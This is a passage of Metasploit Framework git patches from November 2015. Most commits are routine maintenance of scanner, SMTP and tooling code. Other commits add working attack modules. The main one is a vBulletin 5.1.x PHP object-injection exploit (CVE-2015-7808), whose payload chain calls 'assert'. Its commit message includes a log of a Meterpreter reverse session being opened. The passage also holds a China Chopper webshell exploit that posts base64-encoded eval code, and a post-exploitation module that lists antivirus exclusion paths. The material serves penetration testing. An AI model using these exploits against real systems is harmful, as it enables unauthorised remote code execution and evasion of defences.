%SystemRoot%\\system32\\wbem\\mof\\#{mofname}") + + # Disconnect from the ADMIN$ + simple.disconnect(share) + end + + def report_auth + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) + end + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end + end From 4390fda513953b47676c283959d9736b0895903c Mon Sep 17 00:00:00 2001 From: pyllyukko <pyllyukko@maimed.org> Date: Thu, 5 Nov 2015 14:38:06 +0200 Subject: [PATCH 1083/2172] Remove extra Content-Length HTTP header The send_request_raw already sets the header and if it's set also in the module, Metasploit sends the header twice. --- modules/exploits/unix/webapp/oscommerce_filemanager.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 6a1540b327..bbd6ecb55d 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -82,7 +82,6 @@ class Metasploit3 < Msf::Exploit::Remote 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded', - 'Content-Length' => data.length, } }, 3) From 0ae2e64bc56dd8543a97cc4ebc94de4738376488 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 5 Nov 2015 09:20:02 -0800 Subject: [PATCH 1084/2172] Only mark rsync as req'ing auth true/false if we are sure, otherwise vprint and unknown --- modules/auxiliary/scanner/rsync/modules_list.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index b894890c3f..4bc9536a41 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -60,11 +60,20 @@ class Metasploit3 < Msf::Auxiliary def rsync_requires_auth?(rmodule) sock.puts("#{rmodule}\n") res = sock.get_once(-1, read_timeout) - if res && (res =~ /^#{RSYNC_HEADER} AUTHREQD/) - true + if res + if res =~ /^#{RSYNC_HEADER} AUTHREQD/ + true + elsif res =~ /^#{RSYNC_HEADER} OK/ + false + else + vprint_error("#{peer} - unexpected response when connecting to #{rmodule}: #{res}") + 'unknown' + end else - false + vprint_error("#{peer} - no response when connecting to #{rmodule}") + 'unknown' end + end def rsync_list From e96596e8ebcf14b1d0e187caea91c5ebf472b0e4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 5 Nov 2015 09:22:30 -0800 Subject: [PATCH 1085/2172] Credit Nixawk/all3g for some of the module review/improvements/ideas From: https://github.com/rapid7/metasploit-framework/pull/6191 https://github.com/jhart-r7/metasploit-framework/pull/5 --- modules/auxiliary/scanner/rsync/modules_list.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 4bc9536a41..eef69329b5 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary ), 'Author' => [ 'ikkini', # original metasploit module - 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module + 'Nixawk' # improved metasploit module ], 'References' => [ From a53df44c55698cea4bc87c0f9dba4076320148f4 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 5 Nov 2015 13:56:28 -0600 Subject: [PATCH 1086/2172] Move msftidy back to tools/dev This is where it belongs. --- tools/{modules => dev}/msftidy.rb | 0 tools/dev/pre-commit-hook.rb | 4 ++-- 2 files changed, 2 insertions(+), 2 deletions(-) rename tools/{modules => dev}/msftidy.rb (100%) diff --git a/tools/modules/msftidy.rb b/tools/dev/msftidy.rb similarity index 100% rename from tools/modules/msftidy.rb rename to tools/dev/msftidy.rb diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index 61ea2bc2c8..de99d598cd 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -59,9 +59,9 @@ end if files_to_check.empty? puts "--- No Metasploit modules to check ---" else - puts "--- Checking new and changed module syntax with tools/modules/msftidy.rb ---" + puts "--- Checking new and changed module syntax with tools/dev/msftidy.rb ---" files_to_check.each do |fname| - cmd = "ruby ./tools/modules/msftidy.rb #{fname}" + cmd = "ruby ./tools/dev/msftidy.rb #{fname}" msftidy_output= %x[ #{cmd} ] puts "#{fname} - msftidy check passed" if msftidy_output.empty? msftidy_output.each_line do |line| From 2f65405a4e323670232b320956fed4869c3c699f Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 5 Nov 2015 14:30:26 -0600 Subject: [PATCH 1087/2172] Fix missing brace and indent level --- data/js/detect/os.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 364b8de276..aafc60410a 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -343,7 +343,7 @@ os_detect.getVersion = function(){ os_name = oses_linux; } // end navigator.oscpu checks - else if (typeof ScriptEngineMajorVersion == "function") { + } else if (typeof ScriptEngineMajorVersion == "function") { // Then this is IE and we can very reliably detect the OS. // Need to add detection for IE on Mac. Low priority, since we // don't have any sploits for it yet and it's a very low market From 038cb66937b725309819f3fe3ebd0881213eb76b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 5 Nov 2015 16:16:46 -0600 Subject: [PATCH 1088/2172] Use the right module path --- modules/exploits/multi/http/uptime_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb index a17bf145e3..fa7e1f697d 100644 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ b/modules/exploits/multi/http/uptime_file_upload.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::PhpEXE include Msf::Module::Deprecated - deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/file_upload_1') + deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/uptime_file_upload_1') def initialize(info = {}) super(update_info(info, From 27be832c4c0fef5683e9dd671907f88cfc105684 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 5 Nov 2015 18:19:46 -0600 Subject: [PATCH 1089/2172] remove the fail_with because it's always triggering anyway --- .../exploits/multi/http/caidao_php_backdoor_exec.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 21a3423fc2..c2050da87c 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -24,10 +24,6 @@ class Metasploit4 < Msf::Exploit::Remote ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] ], - 'Payload' => - { - 'BadChars' => '\x00' - }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => @@ -47,17 +43,13 @@ class Metasploit4 < Msf::Exploit::Remote def http_send_command(code) code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));" - res = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_post' => { "#{datastore['PASSWORD']}" => code } }) - unless res && res.code == 200 - fail_with(Failure::Unknown, 'Failed to execute the code.') - end - res end def check @@ -71,6 +63,7 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit + print_status("#{peer} - Sending exploit...") http_send_command(payload.raw) end end From ea22583ed1066d45a404525e54bb48539d4e716d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 5 Nov 2015 18:29:03 -0600 Subject: [PATCH 1090/2172] Update title and description --- modules/exploits/multi/http/caidao_php_backdoor_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index c2050da87c..354346d31f 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -13,9 +13,10 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Chinese Caidao PHP Backdoor Code Execution', + 'Name' => 'China Chopper Caidao PHP Backdoor Code Execution', 'Description' => %q{ - This module exploits chinese caidao php backdoor. + This module takes advantage of the China Chopper Webshell that is + commonly used by Chinese hackers. }, 'License' => MSF_LICENSE, 'Author' => ['Nixawk'], From e4d8909815a3e937e0ad2f3893466748efe5ecbd Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Thu, 5 Nov 2015 20:43:30 -0500 Subject: [PATCH 1091/2172] Initial Commit --- .../post/windows/gather/enum_av_excluded.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/post/windows/gather/enum_av_excluded.rb diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb new file mode 100644 index 0000000000..99d720630e --- /dev/null +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Antivirus Excluded Locations Enumeration', + 'Description' => %q{ This module will enumerate all excluded directories within supported AV products }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Andrew Smith'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + end + + + def excluded_list + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Microsoft Antimalware") + print_status "MS Security Essentials Identified" + prog = "MSSEC" + keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" + elsif registry_enumkeys("HKLM\\SOFTWARE\\Symantec").include?("Symantec Endpoint Protection") + print_status "SEP Identified" + keyadm = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Admin" + keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" + prog = "SEP" + else + print_error "No supported AV identified" + return + end + + print_status "Excluded Locations:" + if prog == "SEP" + found_keysadm = registry_enumkeys(keyadm) + if found_keysadm + found_keysadm.each do |vals| + full = keyadm + "\\" + vals + values = registry_getvaldata(full, "DirectoryName") + print_good "#{values}" + end + else + print_error "No Admin Locations Found" + end + found_keyscli = registry_enumkeys(keycli) + if found_keyscli + found_keyscli.each do |vals| + full = keycli + "\\" + vals + values = registry_getvaldata(full, "DirectoryName") + print_good "#{values}" + end + else + print_error "No Client Locations Found" + end + end + + if prog == "MSSEC" + found = registry_enumvals(keyms) + if found + found.each do |num| + print_good "#{num}" + end + else + print_error "No Excluded Locations Found" + end + end + end + + def run + arch2 = sysinfo['Architecture'] + if arch2 =~ /WOW64/ + print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" + return + else + print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") + excluded_list + end + end +end From bb0e64e5412e6e79a7f52077d62eb89a295bbd62 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 14:59:25 +0100 Subject: [PATCH 1092/2172] Implement a module for the recent vBulletin RCE This module implements the recent unserialize-powered RCE against vBulletin 5.1.X Step to reproduce: 1. Install vBulletin 5.1.X 2. Launch the exploit against it ``` msf exploit(vbulletin_unserialize) > check [*] 192.168.1.25:80 - The target appears to be vulnerable. msf exploit(vbulletin_unserialize) > ``` ``` msf exploit(vbulletin) > run [*] Started reverse handler on 192.168.1.11:4444 [*] Sending stage (33068 bytes) to 192.168.1.25 [*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:49642) at 2015-11-06 14:04:46 +0100 meterpreter > getuid Server username: www-data (33) ``` --- .../unix/webapp/vbulletin_unserialize.rb | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 modules/exploits/unix/webapp/vbulletin_unserialize.rb diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb new file mode 100644 index 0000000000..f3776bc95a --- /dev/null +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -0,0 +1,65 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', + 'Description' => %q{ + This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 + }, + 'Platform' => 'php', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Netanel Rubin', # reported by + 'cutz', # original exploit + 'Julien (jvoisin) Voisin', # metasploit module + ], + 'References' => + [ + ['CVE', '2015-7808'], + ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], + ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] + ], + 'Arch' => ARCH_PHP, + 'Targets' => [['vBulletin 5.1.2', {}]], + 'DisclosureDate' => 'Nov 4 2015', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi({ 'uri' => '/' }) + if (res && res.body =~ /Version 5.1./ && res.body =~ /Copyright © 2015 vBulletin Solutions, Inc./) + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Unknown + end + Exploit::CheckCode::Safe + end + + def exploit + + chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' + chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" + + chain = Rex::Text.uri_encode(chain) + chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), + 'vars_get' => { + 'arguments' => chain + }, + 'encode_params' => false, + }) + end +end From 30e7a3545273a3c0c11feaf172628e17be9eddaf Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 15:33:30 +0100 Subject: [PATCH 1093/2172] Add the possibility to target non-default path --- modules/exploits/unix/webapp/vbulletin_unserialize.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb index f3776bc95a..1b3cfe1b94 100644 --- a/modules/exploits/unix/webapp/vbulletin_unserialize.rb +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -33,6 +33,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [['vBulletin 5.1.2', {}]], 'DisclosureDate' => 'Nov 4 2015', 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + ], self.class) end def check From 7998955b461b1c3046ddcf1dc6becd37386770d4 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 16:43:53 +0100 Subject: [PATCH 1094/2172] The double-quote character is a badchar --- modules/exploits/unix/webapp/vbulletin_unserialize.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb index 1b3cfe1b94..e479f428af 100644 --- a/modules/exploits/unix/webapp/vbulletin_unserialize.rb +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -23,6 +23,10 @@ class Metasploit3 < Msf::Exploit::Remote 'cutz', # original exploit 'Julien (jvoisin) Voisin', # metasploit module ], + 'Payload' => + { + 'BadChars' => "\x22", + }, 'References' => [ ['CVE', '2015-7808'], From c44ecfeb15747ec2f1f8a04c8d307dfcf3fa55f7 Mon Sep 17 00:00:00 2001 From: Andrew Smith <jakx.ppr@gmail.com> Date: Fri, 6 Nov 2015 10:55:29 -0500 Subject: [PATCH 1095/2172] Spacing --- modules/post/windows/gather/enum_av_excluded.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 99d720630e..574ed45364 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -22,7 +22,6 @@ class Metasploit3 < Msf::Post end - def excluded_list if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Microsoft Antimalware") print_status "MS Security Essentials Identified" From c540ca763cfc532901a7da9130e8a80176dd4825 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 17:06:03 +0100 Subject: [PATCH 1096/2172] Add the EDB id --- modules/exploits/unix/webapp/vbulletin_unserialize.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/unix/webapp/vbulletin_unserialize.rb index e479f428af..33f30826f7 100644 --- a/modules/exploits/unix/webapp/vbulletin_unserialize.rb +++ b/modules/exploits/unix/webapp/vbulletin_unserialize.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2015-7808'], + ['EDB', '38629'], ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] ], From d3ebb8ae93e4d5ae8034f6b0efad99ff55cb195b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 08:34:17 -0800 Subject: [PATCH 1097/2172] Style cleanup of auth checking --- modules/auxiliary/scanner/rsync/modules_list.rb | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index eef69329b5..6edc34b262 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -58,23 +58,22 @@ class Metasploit3 < Msf::Auxiliary datastore['READ_TIMEOUT'] end - def rsync_requires_auth?(rmodule) + def get_rsync_auth_state(rmodule) sock.puts("#{rmodule}\n") res = sock.get_once(-1, read_timeout) if res if res =~ /^#{RSYNC_HEADER} AUTHREQD/ - true + 'required' elsif res =~ /^#{RSYNC_HEADER} OK/ - false + 'not required' else vprint_error("#{peer} - unexpected response when connecting to #{rmodule}: #{res}") - 'unknown' + 'unexpected response' end else vprint_error("#{peer} - no response when connecting to #{rmodule}") - 'unknown' + 'no response' end - end def rsync_list @@ -176,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary modules_metadata.each do |module_metadata| connect rsync_negotiate - module_metadata[:authentication?] = rsync_requires_auth?(module_metadata[:name]) + module_metadata[:authentication?] = get_rsync_auth_state(module_metadata[:name]) disconnect end end From fc9726658855de872f320121ebc16297d5d5d309 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 09:44:05 -0800 Subject: [PATCH 1098/2172] Handle errors more carefully --- .../auxiliary/scanner/rsync/modules_list.rb | 39 ++++++++++++++----- 1 file changed, 29 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 6edc34b262..a7b9dca349 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -142,10 +142,16 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - connect - version, motd = rsync_negotiate - unless version - vprint_error("#{peer} - does not appear to be rsync") + begin + connect + version, motd = rsync_negotiate + unless version + vprint_error("#{peer} - does not appear to be rsync") + disconnect + return + end + rescue => e + vprint_error("#{peer} - error while connecting and negotiating: #{e}") disconnect return end @@ -161,8 +167,16 @@ class Metasploit3 < Msf::Auxiliary ) vprint_good("#{peer} - rsync MOTD: #{motd}") if motd && datastore['SHOW_MOTD'] - modules_metadata = rsync_list - disconnect + modules_metadata = {} + begin + modules_metadata = rsync_list + rescue => e + vprint_error("#{peer} -- error while listing modules: #{e}") + return + ensure + disconnect + end + if modules_metadata.empty? print_status("#{peer} - rsync #{version}: no modules found") else @@ -173,10 +187,15 @@ class Metasploit3 < Msf::Auxiliary if datastore['TEST_AUTHENTICATION'] table_columns << 'Authentication?' modules_metadata.each do |module_metadata| - connect - rsync_negotiate - module_metadata[:authentication?] = get_rsync_auth_state(module_metadata[:name]) - disconnect + begin + connect + rsync_negotiate + module_metadata[:authentication?] = get_rsync_auth_state(module_metadata[:name]) + rescue => e + vprint_error("#{peer} - error while testing authentication on #{module_metadata[:name]}: #{e}") + ensure + disconnect + end end end From 55e224b7e7ea130ea1287ac0d2019406408cd36f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 09:50:39 -0800 Subject: [PATCH 1099/2172] Improve auth handling --- modules/auxiliary/scanner/rsync/modules_list.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index a7b9dca349..8075a7144b 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -58,17 +58,18 @@ class Metasploit3 < Msf::Auxiliary datastore['READ_TIMEOUT'] end - def get_rsync_auth_state(rmodule) + def get_rsync_auth_status(rmodule) sock.puts("#{rmodule}\n") res = sock.get_once(-1, read_timeout) if res - if res =~ /^#{RSYNC_HEADER} AUTHREQD/ + res.strip! + if res =~ /^#{RSYNC_HEADER} AUTHREQD \S+$/ 'required' - elsif res =~ /^#{RSYNC_HEADER} OK/ + elsif res =~ /^#{RSYNC_HEADER} OK$/ 'not required' else vprint_error("#{peer} - unexpected response when connecting to #{rmodule}: #{res}") - 'unexpected response' + "unexpected response '#{res}'" end else vprint_error("#{peer} - no response when connecting to #{rmodule}") @@ -185,12 +186,12 @@ class Metasploit3 < Msf::Auxiliary table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] - table_columns << 'Authentication?' + table_columns << 'Authentication' modules_metadata.each do |module_metadata| begin connect rsync_negotiate - module_metadata[:authentication?] = get_rsync_auth_state(module_metadata[:name]) + module_metadata[:authentication] = get_rsync_auth_status(module_metadata[:name]) rescue => e vprint_error("#{peer} - error while testing authentication on #{module_metadata[:name]}: #{e}") ensure From 7101ff2ecc2e1ad2c9fa5628d92e13aa147609ba Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 09:52:12 -0800 Subject: [PATCH 1100/2172] Better handling of motd printing --- modules/auxiliary/scanner/rsync/modules_list.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 8075a7144b..1d7e636e96 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -166,7 +166,7 @@ class Metasploit3 < Msf::Auxiliary name: 'rsync', info: info ) - vprint_good("#{peer} - rsync MOTD: #{motd}") if motd && datastore['SHOW_MOTD'] + print_status("#{peer} - rsync MOTD: #{motd}") if motd && datastore['SHOW_MOTD'] modules_metadata = {} begin From 1473f2cfa783479d4966e1ac4fd56d630fd5eb26 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 6 Nov 2015 10:03:06 -0800 Subject: [PATCH 1101/2172] More consistent printing --- modules/auxiliary/scanner/rsync/modules_list.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 1d7e636e96..1a6eeaa449 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -45,6 +45,8 @@ class Metasploit3 < Msf::Auxiliary [ OptBool.new('SHOW_MOTD', [ true, 'Show the rsync motd, if found', false ]), + OptBool.new('SHOW_VERSION', + [ true, 'Show the rsync version', false ]), OptInt.new('READ_TIMEOUT', [ true, 'Seconds to wait while reading rsync responses', 2 ]) ] ) @@ -166,6 +168,7 @@ class Metasploit3 < Msf::Auxiliary name: 'rsync', info: info ) + print_status("#{peer} - rsync version: #{version}") if datastore['SHOW_VERSION'] print_status("#{peer} - rsync MOTD: #{motd}") if motd && datastore['SHOW_MOTD'] modules_metadata = {} @@ -179,10 +182,10 @@ class Metasploit3 < Msf::Auxiliary end if modules_metadata.empty? - print_status("#{peer} - rsync #{version}: no modules found") + print_status("#{peer} - no rsync modules found") else modules = modules_metadata.map { |m| m[:name] } - print_good("#{peer} - rsync #{version}: #{modules.size} modules found: #{modules.join(', ')}") + print_good("#{peer} - #{modules.size} rsync modules found: #{modules.join(', ')}") table_columns = %w(Name Comment) if datastore['TEST_AUTHENTICATION'] From ca1502c00ac52052a60079d267bf10dea6a59df8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 30 Oct 2015 11:11:49 -0500 Subject: [PATCH 1102/2172] Fix SMTP send_message to not block --- lib/msf/core/exploit/smtp_deliver.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 18fde235a0..be5115ff87 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -146,14 +146,18 @@ module Exploit::Remote::SMTPDeliver # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. if datastore['DATE'].present? - raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) + #raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) + date = "Date: #{datastore['DATE']}\r\n" else - raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) + #raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) + date = "Date: #{DateTime.now.rfc2822}\r\n" end # If the user supplied a Subject field, use that + subject = nil if datastore['SUBJECT'].present? - raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) + #raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) + subject = "Subject: #{datastore['SUBJECT']}\r\n" end # Avoid sending tons of data and killing the connection if the server @@ -161,6 +165,10 @@ module Exploit::Remote::SMTPDeliver if not resp or not resp[0,3] == '354' print_error("Server refused our mail") else + full_msg = '' + full_msg << date + full_msg << subject unless subject.nil? + full_msg << data send_status = raw_send_recv("#{data}\r\n.\r\n", nsock) end From 19652e79c31878d9dd00f75c6807895da3ca83ea Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 5 Nov 2015 10:41:04 -0600 Subject: [PATCH 1103/2172] Delete comments --- lib/msf/core/exploit/smtp_deliver.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index be5115ff87..e2eabbfefe 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -146,17 +146,14 @@ module Exploit::Remote::SMTPDeliver # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. if datastore['DATE'].present? - 